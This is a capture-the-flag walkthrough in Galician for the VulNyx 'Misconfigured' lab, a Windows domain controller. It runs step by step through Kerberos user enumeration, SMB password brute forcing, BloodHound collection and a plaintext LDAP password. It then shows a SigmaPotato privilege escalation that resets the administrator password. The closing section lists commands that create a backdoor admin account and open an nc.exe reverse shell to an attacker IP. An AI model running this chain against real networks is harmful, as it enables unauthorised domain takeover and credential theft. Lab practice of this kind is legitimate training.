Ir ao contido

Misconfigured

Máquina virtual Misconfigured

Fig. VulNyx Misconfigured
Fig. Card VulNyx Misconfigured

A máquina Misconfigured é moi interesante porque...

  • Sistema operativo Windows Server 2019 con Active Directory
  • Controlador de dominio (AD-DC) con LDAP e Kerberos
  • Enumeración de usuarios mediante LDAP sen credenciais
  • Ataque de forza bruta sobre SMB
  • Descubrimento de credenciais en atributo LDAP (userpassword)
  • Acceso con Evil-WinRM como usuario do grupo Remote Management Users
  • Escalada de privilexios mediante SeImpersonatePrivilege
  • Explotación con SigmaPotato para obter SYSTEM

Diagrama de ataque

Fig. Diagrama de ataque

Fase 1 – Recopilación

sudo arp-scan --interface=eth1 192.168.56.0/24
ping -c2 IP_VulNyx_Misconfigured -R # TTL ≃ 128 ⇒ Microsoft Windows
sudo nmap -sS -Pn -T4 -p- -vvv --min-rate 5000 IP_VulNyx_Misconfigured

Resultado do escaneo de portos:

PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman (WinRM)
9389/tcp  open  adws
47001/tcp open  winrm
49664-49703/tcp open  msrpc

Portos críticos identificados:

  • Porto 53: DNS
  • Porto 80: Microsoft IIS 10.0
  • Porto 88: Kerberos
  • Porto 389/636: LDAP/LDAPS
  • Porto 445: SMB
  • Porto 5985: WinRM
  • Porto 3268/3269: Global Catalog LDAP

Fase 2 – Análise

Escaneo de servizos e versións

# Escaneo detallado dos portos principais
sudo nmap -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001 \
          -sCV IP_VulNyx_Misconfigured -oN targeted -oX targeted.xml

Resultado do escaneo:

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-11-13 06:20:49Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: allsafe.nyx0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: MISCONFIGURED; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h59m57s
|_nbstat: NetBIOS name: MISCONFIGURED, NetBIOS user: <unknown>
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Información crítica identificada:

  • Dominio: allsafe.nyx
  • Hostname: MISCONFIGURED
  • Sistema: Windows Server 2019 Build 17763
  • Controlador de dominio con Active Directory

Configuración do ficheiro hosts

# Engadir o dominio ao ficheiro /etc/hosts
echo "IP_VulNyx_Misconfigured allsafe.nyx misconfigured.allsafe.nyx" | sudo tee -a /etc/hosts

Enumeración web

# Identificar tecnoloxías web
whatweb http://IP_VulNyx_Misconfigured

# Obter cabeceiras HTTP
curl -I http://IP_VulNyx_Misconfigured

# Enumeración de directorios
gobuster dir -u http://IP_VulNyx_Misconfigured \
             -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Resultado:

  • Microsoft IIS 10.0 con páxina por defecto
  • Non se atoparon directorios ou ficheiros relevantes
  • A web non é o vector principal de ataque

Enumeración de usuarios mediante LDAP

Estratexia:

  • LDAP permite enumeración de usuarios sen credenciais en configuracións inseguras
  • Usar listas de nomes de usuario comúns
  • Identificar usuarios válidos mediante respostas de Kerberos
# Descargar listas de usuarios
# - top-usernames-shortlist.txt
# - xato-net-10-million-usernames.txt
# - A-Z.Surnames.txt

# Enumeración inicial con lista curta
netexec ldap IP_VulNyx_Misconfigured \
         -u Downloads/top-usernames-shortlist.txt \
         -p '' -k | grep -vi unknown

Resultado:

LDAP    IP_VulNyx_Misconfigured  389  MISCONFIGURED  [-] allsafe.nyx\guest: KDC_ERR_CLIENT_REVOKED
LDAP    IP_VulNyx_Misconfigured  389  MISCONFIGURED  [-] allsafe.nyx\administrator: KDC_ERR_PREAUTH_FAILED

Enumeración con lista de apelidos:

netexec ldap IP_VulNyx_Misconfigured \
         -u Downloads/A-Z.Surnames.txt \
         -p '' -k -t 200 | grep -vi unknown

Resultado:

LDAP    IP_VulNyx_Misconfigured  389  MISCONFIGURED  [-] allsafe.nyx\[usuario1.apelido1]: KDC_ERR_PREAUTH_FAILED
LDAP    IP_VulNyx_Misconfigured  389  MISCONFIGURED  [-] allsafe.nyx\[usuario2.apelido2]: KDC_ERR_PREAUTH_FAILED

Usuarios válidos descubertos:

  • [usuario1.apelido1]
  • [usuario2.apelido2]
  • administrator
  • guest (revoked)

Nota importante:

KDC_ERR_PREAUTH_FAILED indica que o usuario existe pero a autenticación fallou (contrasinal incorrecta).
KDC_ERR_CLIENT_REVOKED indica que a conta está deshabilitada.


Fase 3 – Explotación

Ataque de forza bruta sobre SMB

Preparar lista de contrasinais:

# Crear lista reducida de rockyou.txt
head -5000 /usr/share/wordlists/rockyou.txt > 5000-rockyou.txt

Ataque contra usuario [usuario1.apelido1]:

netexec smb IP_VulNyx_Misconfigured \
         -u '[usuario1.apelido1]' \
         -p 5000-rockyou.txt | grep -iv failure

Resultado:

SMB    IP_VulNyx_Misconfigured  445  MISCONFIGURED  [+] allsafe.nyx\[usuario1.apelido1]:[contrasinal1]

Credenciais válidas atopadas:

  • Usuario: [usuario1.apelido1]
  • Contrasinal: [contrasinal1]

Verificación de acceso remoto

Probar acceso con Evil-WinRM:

evil-winrm -i IP_VulNyx_Misconfigured -u '[usuario1.apelido1]' -p '[contrasinal1]'

Resultado: Acceso denegado ([usuario1.apelido1] non pertence ao grupo Remote Management Users)

Probar con impacket-psexec:

impacket-psexec allsafe.nyx/[usuario1.apelido1]:[contrasinal1]@IP_VulNyx_Misconfigured

Resultado: Acceso denegado ([usuario1.apelido1] non ten privilexios de administrador local)

Probar con impacket-smbexec e wmiexec:

impacket-smbexec allsafe.nyx/[usuario1.apelido1]:[contrasinal1]@IP_VulNyx_Misconfigured
impacket-wmiexec allsafe.nyx/[usuario1.apelido1]:[contrasinal1]@IP_VulNyx_Misconfigured

Resultado: Acceso denegado en ambos casos


Enumeración con BloodHound

# Crear directorio para datos de BloodHound
mkdir json && cd json

# Executar BloodHound-Python
bloodhound-python -c All \
                  -u '[usuario1.apelido1]' \
                  -p '[contrasinal1]' \
                  -ns IP_VulNyx_Misconfigured \
                  -d allsafe.nyx

Análise dos datos en BloodHound:

  1. Importar ficheiros JSON en BloodHound
  2. Buscar usuario [usuario2.apelido2]
  3. Examinar propiedades do usuario

Descubrimento crítico:

No atributo userpassword de [usuario2.apelido2] atópase:

b'[contrasinal2]'

Nota sobre userpassword en LDAP:

O atributo userpassword non debería conter contrasinais en texto claro. Esta é unha configuración moi insegura que permite a calquera usuario autenticado ler contrasinais doutros usuarios.


Acceso como [usuario2.apelido2]

Verificar grupo de [usuario2.apelido2]:

Segundo BloodHound, [usuario2.apelido2] pertence ao grupo Remote Management Users, que permite acceso por WinRM.

# Acceder con Evil-WinRM
evil-winrm -i IP_VulNyx_Misconfigured -u '[usuario2.apelido2]' -p '[contrasinal2]'

Saída:

Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\[usuario2.apelido2]\Documents>

Acceso exitoso como [usuario2.apelido2]


Obtención de flag de usuario

# Navegar ao Desktop
*Evil-WinRM* PS C:\Users\[usuario2.apelido2]\Documents> cd ..\Desktop

# Ler flag de usuario
*Evil-WinRM* PS C:\Users\[usuario2.apelido2]\Desktop> type user.txt
[FLAG_USER]

Flag de usuario conseguida


Fase 4 – Post-Explotación

Verificación de privilexios

*Evil-WinRM* PS C:\Users\[usuario2.apelido2]\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= =======
SeMachineAccountPrivilege     Add workstations to domain                Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled

Privilexio crítico identificado:

  • SeImpersonatePrivilege: Permite suplantar a identidade doutros usuarios

Información sobre SeImpersonatePrivilege

Que é SeImpersonatePrivilege?

SeImpersonatePrivilege é un privilexio en Windows que permite a un proceso suplantar a identidade dun cliente despois da autenticación.

Uso lexítimo:

  • Servizos web (IIS) que necesitan acceder a recursos como o usuario autenticado
  • Servizos que executan tarefas en nome doutros usuarios

Abuso para escalada:

  • Se un usuario ten este privilexio, pode crear un proceso que force a SYSTEM a autenticarse
  • Capturar o token de SYSTEM e crear un proceso como SYSTEM
Ferramentas de explotación

SigmaPotato:

  • Evolución da familia de exploits Potato (RottenPotato, JuicyPotato, etc.)
  • Permite escalada de privilexios mediante SeImpersonatePrivilege
  • Compatible con Windows Server 2019

Repositorio GitHub:
https://github.com/tylerdotrar/SigmaPotato


Explotación con SigmaPotato

1. Descargar SigmaPotato.exe:

# Desde Kali
cd ~/Downloads
wget https://github.com/tylerdotrar/SigmaPotato/releases/download/v1.0/SigmaPotato.exe

2. Compartir mediante SMB:

# Iniciar servidor SMB en Kali
impacket-smbserver compartir -smb2support ~/Downloads

3. Copiar SigmaPotato ao sistema remoto:

# Desde Evil-WinRM
*Evil-WinRM* PS C:\Users\[usuario2.apelido2]\Documents> cd C:\Windows\Temp

*Evil-WinRM* PS C:\Windows\Temp> copy \\IP_atacante\compartir\SigmaPotato.exe .

Nota: Substituír IP_atacante pola IP do atacante.

4. Executar SigmaPotato para cambiar contrasinal de Administrator:

*Evil-WinRM* PS C:\Windows\Temp> .\SigmaPotato.exe "net user administrator abc123."

Saída esperada:

[+] Starting Pipe Server...
[+] Created Pipe Name: \\.\pipe\SigmaPotato\pipe\epmapper
[+] Pipe Connected!
[+] Impersonated Client: NT AUTHORITY\NETWORK SERVICE
[+] Searching for System Token...
[+] PID: 732 | Token: 0x796 | User: NT AUTHORITY\SYSTEM
[+] Found System Token: True
[+] Duplicating Token...
[+] New Token Handle: 948
[+] Current Command Length: 30 characters
[+] Creating Process via 'CreateProcessAsUserW'
[+] Process Started with PID: 2740

[+] Process Output:
The command completed successfully.

Explicación do ataque:

  1. SigmaPotato crea un named pipe e espera conexións
  2. Forzar a SYSTEM a conectarse ao named pipe
  3. Suplanta o token de SYSTEM usando SeImpersonatePrivilege
  4. Executa o comando net user administrator abc123. como SYSTEM
  5. Cambia a contrasinal de administrator a abc123.

Acceso como Administrator

# Nova conexión Evil-WinRM como Administrator
evil-winrm -i IP_VulNyx_Misconfigured -u 'administrator' -p 'abc123.'

Saída:

Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

Acceso exitoso como Administrator


Obtención de flag de root

# Navegar ao Desktop de Administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..\Desktop

# Ler flag de root
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
[FLAG_ROOT]

Ambas flags conseguidas


Correspondencia de fases → MITRE ATT&CK – VulNyx: Misconfigured

Fase Acción / Resumo Vector principal MITRE ATT&CK (IDs) CWE(s) (relevantes)
1. Recopilación Descubrimento de host e servizos expostos Scanning / descubrimento de servizos T1595 – Active Scanning
T1046 – Network Service Discovery
CWE-200 – Information Exposure
Detección de controlador de dominio AD enumeration T1590 – Gather Victim Network Information
T1018 – Remote System Discovery
CWE-200 – Information Exposure
2. Análise Enumeración de usuarios mediante LDAP sen credenciais LDAP enumeration T1087.002 – Account Discovery: Domain Account
T1589.001 – Gather Victim Identity Information: Credentials
CWE-200 – Information Exposure
Identificación de usuarios válidos ([usuario1.apelido1], [usuario2.apelido2]) Kerberos user enumeration T1589.003 – Gather Victim Identity Information: Employee Names CWE-200 – Information Exposure
3. Explotación Ataque de forza bruta sobre SMB Brute force attack T1110.001 – Brute Force: Password Guessing
T1110.003 – Brute Force: Password Spraying
CWE-521 – Weak Password Requirements
Obtención de credenciais de [usuario1.apelido1] Credential compromise T1078 – Valid Accounts
T1078.002 – Valid Accounts: Domain Accounts
CWE-521 – Weak Password Requirements
Enumeración con BloodHound AD enumeration and analysis T1087.002 – Account Discovery: Domain Account
T1069.002 – Permission Groups Discovery: Domain Groups
CWE-200 – Information Exposure
Descubrimento de contrasinal en atributo LDAP userpassword Credential access from LDAP T1552.004 – Unsecured Credentials: Private Keys
T1087.002 – Account Discovery: Domain Account
CWE-256 – Plaintext Storage of a Password
Acceso con Evil-WinRM como [usuario2.apelido2] Remote service exploitation T1021.006 – Remote Services: Windows Remote Management
T1078.002 – Valid Accounts: Domain Accounts
N/A
4. Escalada Identificación de SeImpersonatePrivilege Privilege enumeration T1082 – System Information Discovery
T1033 – System Owner/User Discovery
CWE-269 – Improper Privilege Management
Upload de SigmaPotato mediante SMB Lateral tool transfer T1570 – Lateral Tool Transfer
T1021.002 – Remote Services: SMB/Windows Admin Shares
N/A
Explotación de SeImpersonatePrivilege con SigmaPotato Token impersonation T1134.001 – Access Token Manipulation: Token Impersonation/Theft
T1068 – Exploitation for Privilege Escalation
CWE-269 – Improper Privilege Management
Cambio de contrasinal de Administrator Account manipulation T1098 – Account Manipulation
T1098.003 – Account Manipulation: Additional Cloud Credentials
N/A
Acceso como Administrator Privilege escalation T1078.002 – Valid Accounts: Domain Accounts
T1021.006 – Remote Services: Windows Remote Management
N/A

Comparativa: Familia de exploits Potato

RottenPotato vs JuicyPotato vs SigmaPotato

Característica RottenPotato JuicyPotato SigmaPotato
Windows Server 2019 Non compatible Compatible con limitacións Totalmente compatible
Método COM elevation DCOM elevation Named pipe impersonation
Complexidade Baixa Media Baixa
Requisitos SeImpersonatePrivilege SeImpersonatePrivilege + CLSID SeImpersonatePrivilege
Configuración Mínima Requiere CLSID específico Mínima
Estabilidade Media Alta Moi alta

Conclusión: SigmaPotato é a ferramenta máis moderna e recomendada para explotar SeImpersonatePrivilege en sistemas Windows actualizados.


Alternativas de escalada de privilexios

Outras ferramentas para SeImpersonatePrivilege

Ferramenta Descripción Compatibilidade
SigmaPotato Escalada mediante named pipe impersonation Windows Server 2019/2022
PrintSpoofer Explota servizo Print Spooler Windows 10/Server 2019
RoguePotato Evolución de JuicyPotato con OXID resolver Windows 10/Server 2016+
GodPotato Exploit para Windows Server 2012-2022 Windows Server 2012+
EfsPotato Explota servizo EFS (Encrypting File System) Windows 10/Server 2016+

Comandos alternativos con SigmaPotato

# Engadir usuario ao grupo Administrators
.\SigmaPotato.exe "net localgroup administrators [usuario2.apelido2] /add"

# Executar comando arbitrario
.\SigmaPotato.exe "whoami"

# Crear nova conta de administrador
.\SigmaPotato.exe "net user hacker P@ssw0rd123! /add && net localgroup administrators hacker /add"

# Reverse shell con nc.exe
.\SigmaPotato.exe "\\IP_ATACANTE\share\nc.exe IP_ATACANTE 4444 -e cmd.exe"